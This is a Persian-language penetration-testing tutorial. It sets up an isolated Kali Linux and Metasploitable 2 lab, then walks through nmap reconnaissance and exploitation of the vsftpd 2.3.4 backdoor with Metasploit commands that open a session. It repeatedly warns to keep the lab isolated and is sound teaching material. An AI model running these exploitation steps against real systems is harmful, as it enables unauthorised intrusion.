اگر آموزش Kali Linux و سپس Metasploit Framework را دنبال کردهاید، قدم بعدی این است که یک محیط واقعی برای تمرین بسازید.
در این آموزش، یک آزمایشگاه کاملاً ایزوله با دو ماشین مجازی ایجاد میکنیم:
- 🐉 Kali Linux → سیستم تست نفوذ
- 🎯 Metasploitable 2 → سیستم عمداً آسیبپذیر برای تمرین
هدف این آموزش، یادگیری فرایند واقعی تست نفوذ است؛ یعنی از شناسایی هدف شروع میکنیم، سرویسها را بررسی میکنیم، آسیبپذیری را پیدا میکنیم و سپس در محیط آزمایشگاهی آن را اعتبارسنجی میکنیم.
⚠️ هشدار مهم: Metasploitable 2 عمداً آسیبپذیر است. آن را هرگز مستقیماً به اینترنت یا شبکهای که سیستمهای واقعی در آن قرار دارند متصل نکنید. تمام دستورات این آموزش فقط برای آزمایشگاه شخصی و اهدافی است که اجازه تست آنها را دارید.
معماری آزمایشگاه
ساختار پیشنهادی به شکل زیر است:
┌──────────────────┐
│ Kali Linux │
│ Testing Machine │
│ 192.168.56.10 │
└────────┬─────────┘
│
Host-Only LAN
│
┌────────▼─────────┐
│ Metasploitable 2 │
│ Lab Target │
│ 192.168.56.20 │
└───────────────────┘
در این سناریو، هر دو ماشین فقط در شبکه آزمایشگاهی با یکدیگر ارتباط دارند.
۱. آمادهسازی Kali Linux
اگر طبق آموزش قبلی Kali Linux را روی VMware نصب کردهاید، ابتدا آن را روشن کنید.
ترمینال را باز کنید و سیستم را بهروز کنید:
sudo apt update
sudo apt full-upgrade -y
سپس IP سیستم را بررسی کنید:
ip addr
یا:
ip a
به دنبال Interface شبکهای مثل eth0 یا ens33 بگردید.
۲. اضافه کردن Metasploitable 2 به VMware
Metasploitable 2 یک ماشین مجازی عمداً آسیبپذیر است که برای آموزش تست نفوذ طراحی شده است.
بعد از دریافت فایل ماشین مجازی، آن را از حالت فشرده خارج کنید.
در VMware:
Open a Virtual Machine
↓
انتخاب فایل Metasploitable
↓
Power On
اگر VMware درباره کپی یا جابهجایی ماشین سؤال کرد، برای آزمایشگاه جدید معمولاً گزینه مربوط به ایجاد شناسه جدید ماشین مجازی را انتخاب کنید.
۳. مهمترین قسمت: تنظیم شبکه
برای اینکه سیستم آسیبپذیر به اینترنت دسترسی نداشته باشد، شبکه آزمایشگاه را از شبکه واقعی جدا کنید.
در VMware وارد:
VM Settings
↓
Network Adapter
شوید.
برای آزمایشگاه میتوانید از:
Host-only
استفاده کنید.
ساختار باید تقریباً چنین باشد:
Kali Linux
│
├──── Host-only Network
│
Metasploitable 2
چرا Host-only؟
چون هدف ما این است که:
Kali ↔ Metasploitable
با یکدیگر ارتباط داشته باشند، اما Metasploitable به شبکه واقعی یا اینترنت دسترسی نداشته باشد.
۴. پیدا کردن IP متاسپلویتبل
پس از روشن کردن Metasploitable 2 وارد سیستم شوید.
اطلاعات پیشفرض این ماشین آموزشی معمولاً:
Username: msfadmin
Password: msfadmin
سپس:
ifconfig
یا:
ip addr
را اجرا کنید.
مثلاً ممکن است IP زیر را ببینید:
192.168.56.20
IP شما ممکن است متفاوت باشد.
در ادامه فرض میکنیم:
Kali 192.168.56.10
Metasploitable 192.168.56.20
این IPها فقط نمونه هستند؛ همیشه IP واقعی آزمایشگاه خودتان را استفاده کنید.
۵. تست ارتباط بین دو ماشین
در Kali اجرا کنید:
ping 192.168.56.20
اگر پاسخ دریافت کردید، ارتباط برقرار است:
64 bytes from 192.168.56.20
برای توقف:
Ctrl + C
اگر Ping جواب نداد، ابتدا تنظیمات Network Adapter هر دو ماشین را بررسی کنید.
۶. اولین مرحله تست نفوذ: شناسایی
در تست نفوذ حرفهای، مستقیماً سراغ Exploit نمیرویم.
ابتدا باید بفهمیم هدف چه سرویسهایی ارائه میکند.
از Kali:
nmap 192.168.56.20
ممکن است نتیجهای شبیه این مشاهده کنید:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
این اولین نکته مهم آموزشی است:
هر پورت باز الزاماً به معنی آسیبپذیری نیست.
ما باید سرویس و نسخه آن را نیز بررسی کنیم.
۷. تشخیص نسخه سرویسها
برای دریافت اطلاعات بیشتر:
nmap -sV 192.168.56.20
گزینه -sV تلاش میکند نسخه سرویسهای شناساییشده را مشخص کند.
مثلاً ممکن است ببینید:
21/tcp open ftp vsftpd 2.3.4
اکنون اطلاعات بسیار ارزشمندتری داریم.
بهجای اینکه کورکورانه Exploit اجرا کنیم، میدانیم:
Service → FTP
Software → vsftpd
Version → 2.3.4
۸. جستوجوی آسیبپذیری در Metasploit
حالا Metasploit را اجرا کنید:
msfconsole
سپس:
search vsftpd 2.3.4
اگر ماژول مرتبط در نسخه Metasploit شما موجود باشد، میتوانید اطلاعات آن را بررسی کنید.
مثلاً:
info exploit/unix/ftp/vsftpd_234_backdoor
این مرحله بسیار مهم است.
قبل از اجرای هر Exploit باید بدانیم:
- برای چه نرمافزاری ساخته شده؟
- نسخه موردنیاز چیست؟
- چه Targetهایی پشتیبانی میشوند؟
- چه گزینههایی دارد؟
- چه Payloadی استفاده میشود؟
۹. انتخاب ماژول
در محیط آزمایشگاهی میتوانیم ماژول مربوط به همین سرویس را انتخاب کنیم:
use exploit/unix/ftp/vsftpd_234_backdoor
سپس:
show options
گزینههای موردنیاز نمایش داده میشوند.
در این سناریو، مهمترین گزینه، آدرس ماشین آزمایشگاهی است.
۱۰. تعیین سیستم هدف
IP متاسپلویتبل را تنظیم کنید:
set RHOSTS 192.168.56.20
سپس دوباره بررسی کنید:
show options
اطمینان حاصل کنید که Target همان ماشین آزمایشگاهی خودتان است.
۱۱. اجرای تست
اکنون در محیط کاملاً آزمایشگاهی میتوانید ماژول را اجرا کنید:
run
یا:
exploit
اگر نسخه سرویس و شرایط آزمایشگاه با ماژول سازگار باشند، Metasploit ممکن است یک Session ایجاد کند.
۱۲. بررسی Session
برای مشاهده Sessionهای فعال:
sessions
اگر Session ایجاد شده باشد، اطلاعات آن نمایش داده میشود.
برای تعامل با یک Session مشخص:
sessions -i <ID>
بهجای <ID> شناسهای را قرار دهید که Metasploit نمایش داده است.
۱۳. حالا واقعاً چه چیزی یاد گرفتیم؟
نکته اصلی این تمرین خود Exploit نیست.
ما یک فرایند واقعی تست نفوذ را تمرین کردیم:
شروع
│
▼
شناسایی سیستم هدف
│
▼
کشف پورتهای باز
│
▼
تشخیص سرویسها
│
▼
تشخیص نسخه سرویس
│
▼
بررسی آسیبپذیری احتمالی
│
▼
پیدا کردن Module مناسب
│
▼
بررسی تنظیمات Module
│
▼
اجرای تست در آزمایشگاه
│
▼
تحلیل نتیجه
این همان ذهنیتی است که یک Penetration Tester باید داشته باشد.
۱۴. تمرین دوم: بررسی HTTP
Metasploitable 2 سرویسهای متعددی دارد و همین موضوع آن را برای یادگیری بسیار مناسب میکند.
اگر پورت 80 باز بود، در مرورگر Kali وارد شوید:
http://192.168.56.20
صفحه وب ماشین آزمایشگاهی را مشاهده خواهید کرد.
سپس میتوانید اطلاعات بیشتری درباره وبسرور جمعآوری کنید.
برای مثال:
nmap -sV -p 80 192.168.56.20
در این مرحله هدف فقط شناسایی است.
۱۵. تمرین سوم: اسکن دقیقتر
برای مشاهده اطلاعات بیشتر درباره سرویسها:
nmap -sC -sV 192.168.56.20
این دستور اسکریپتهای پیشفرض Nmap را نیز اجرا میکند.
برای یک آزمایشگاه آموزشی بسیار مفید است، چون اطلاعات بیشتری درباره سرویسهای در دسترس به شما میدهد.
۱۶. اشتباه رایج مبتدیها
❌ این کار را انجام ندهید:
Nmap
↓
یک Exploit
↓
run
بدون اینکه بدانید سرویس چیست و چرا آسیبپذیر است.
روش حرفهای:
Reconnaissance
↓
Enumeration
↓
Version Detection
↓
Vulnerability Analysis
↓
Exploit Selection
↓
Validation
↓
Reporting
۱۷. چند نکته مهم برای آزمایشگاه
🔒 شبکه را ایزوله نگه دارید
Metasploitable 2 عمداً آسیبپذیر است و نباید در شبکه عمومی قرار بگیرد.
💾 Snapshot بگیرید
قبل از آزمایشهای مختلف از ماشین مجازی Snapshot بگیرید.
📝 نتایج را ثبت کنید
برای هر تست یادداشت کنید:
Target IP:
Open Ports:
Services:
Versions:
Potential Vulnerability:
Test Result:
این عادت بعدها در تهیه گزارشهای حرفهای تست نفوذ بسیار مفید خواهد بود.
🎯 تمرین پیشنهادی برای کاربران
حالا نوبت شماست.
بدون اینکه مستقیماً سراغ Exploit بروید، ابتدا این دستور را اجرا کنید:
nmap -sV 192.168.56.20
سپس ۵ سرویس از سرویسهای پیدا شده را انتخاب کنید و برای هرکدام مشخص کنید:
- نام سرویس چیست؟
- نسخه آن چیست؟
- آیا آسیبپذیری شناختهشدهای دارد؟
- آیا Metasploit برای آن Module دارد؟
- چرا آن Module برای این نسخه مناسب است؟
این تمرین باعث میشود بهجای حفظ کردن دستورات، طرز فکر یک تست نفوذکار را یاد بگیرید.

لطفا آموزش و دوره های پیشرفته تر هم اضاف کنید به سایت